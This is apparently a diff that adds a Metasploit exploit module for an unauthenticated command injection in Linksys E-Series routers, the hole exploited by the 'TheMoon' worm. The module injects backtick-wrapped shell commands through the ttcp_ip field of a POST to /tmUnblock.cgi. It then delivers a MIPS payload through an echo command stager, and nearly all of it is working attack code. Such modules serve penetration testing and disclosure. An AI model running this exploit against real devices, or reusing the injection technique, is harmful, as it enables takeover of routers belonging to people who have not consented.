|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::CmdStagerEcho |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Linksys E-Series TheMoon Remote Command Injection', |
| 17 | + 'Description' => %q{ |
| 18 | + Some Linksys E-Series Routers are vulnerable to an unauthenticated OS command |
| 19 | + injection. This vulnerability was used from the so called "TheMoon" worm. There |
| 20 | + are many Linksys systems that might be vulnerable including E4200, E3200, E3000, |
| 21 | + E2500, E2100L, E2000, E1550, E1500, E1200, E1000, E900. This module was tested |
| 22 | + successfully against an E1500 v1.0.5. |
| 23 | + }, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Johannes Ullrich', #worm discovery |
| 27 | + 'Rew', # original exploit |
| 28 | + 'infodox', # another exploit |
| 29 | + 'Michael Messner <[email protected]>', # Metasploit module |
| 30 | + 'juan vazquez' # minor help with msf module |
| 31 | + ], |
| 32 | + 'License' => MSF_LICENSE, |
| 33 | + 'References' => |
| 34 | + [ |
| 35 | + [ 'EDB', '31683' ], |
| 36 | + [ 'BID', '65585' ], |
| 37 | + [ 'OSVDB', '103321' ], |
| 38 | + [ 'URL', 'http://packetstormsecurity.com/files/125253/linksyseseries-exec.txt' ], |
| 39 | + [ 'URL', 'http://packetstormsecurity.com/files/125252/Linksys-Worm-Remote-Root.html' ], |
| 40 | + [ 'URL', 'https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633' ], |
| 41 | + [ 'URL', 'https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630' ] |
| 42 | + ], |
| 43 | + 'DisclosureDate' => 'Feb 13 2014', |
| 44 | + 'Privileged' => true, |
| 45 | + 'Platform' => %w{ linux unix }, |
| 46 | + 'Payload' => |
| 47 | + { |
| 48 | + 'DisableNops' => true |
| 49 | + }, |
| 50 | + 'Targets' => |
| 51 | + [ |
| 52 | + [ 'Linux mipsel Payload', |
| 53 | + { |
| 54 | + 'Arch' => ARCH_MIPSLE, |
| 55 | + 'Platform' => 'linux' |
| 56 | + } |
| 57 | + ], |
| 58 | + [ 'Linux mipsbe Payload', |
| 59 | + { |
| 60 | + 'Arch' => ARCH_MIPSBE, |
| 61 | + 'Platform' => 'linux' |
| 62 | + } |
| 63 | + ], |
| 64 | + ], |
| 65 | + 'DefaultTarget' => 0 |
| 66 | + )) |
| 67 | + end |
| 68 | + |
| 69 | + |
| 70 | + def execute_command(cmd, opts) |
| 71 | + begin |
| 72 | + res = send_request_cgi({ |
| 73 | + 'uri' => '/tmUnblock.cgi', |
| 74 | + 'method' => 'POST', |
| 75 | + 'encode_params' => true, |
| 76 | + 'vars_post' => { |
| 77 | + "submit_button" => "", |
| 78 | + "change_action" => "", |
| 79 | + "action" => "", |
| 80 | + "commit" => "0", |
| 81 | + "ttcp_num" => "2", |
| 82 | + "ttcp_size" => "2", |
| 83 | + "ttcp_ip" => "-h `#{cmd}`", |
| 84 | + "StartEPI" => "1" |
| 85 | + } |
| 86 | + }, 2) |
| 87 | + return res |
| 88 | + rescue ::Rex::ConnectionError |
| 89 | + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") |
| 90 | + end |
| 91 | + end |
| 92 | + |
| 93 | + def check |
| 94 | + begin |
| 95 | + res = send_request_cgi({ |
| 96 | + 'uri' => '/tmUnblock.cgi', |
| 97 | + 'method' => 'GET' |
| 98 | + }) |
| 99 | + |
| 100 | + if res && [200, 301, 302].include?(res.code) |
| 101 | + return Exploit::CheckCode::Detected |
| 102 | + end |
| 103 | + rescue ::Rex::ConnectionError |
| 104 | + return Exploit::CheckCode::Unknown |
| 105 | + end |
| 106 | + |
| 107 | + Exploit::CheckCode::Unknown |
| 108 | + end |
| 109 | + |
| 110 | + def exploit |
| 111 | + print_status("#{peer} - Trying to access the vulnerable URL...") |
| 112 | + |
| 113 | + unless check == Exploit::CheckCode::Detected |
| 114 | + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") |
| 115 | + end |
| 116 | + |
| 117 | + print_status("#{peer} - Exploiting...") |
| 118 | + execute_cmdstager |
| 119 | + end |
| 120 | + |
| 121 | +end |
0 commit comments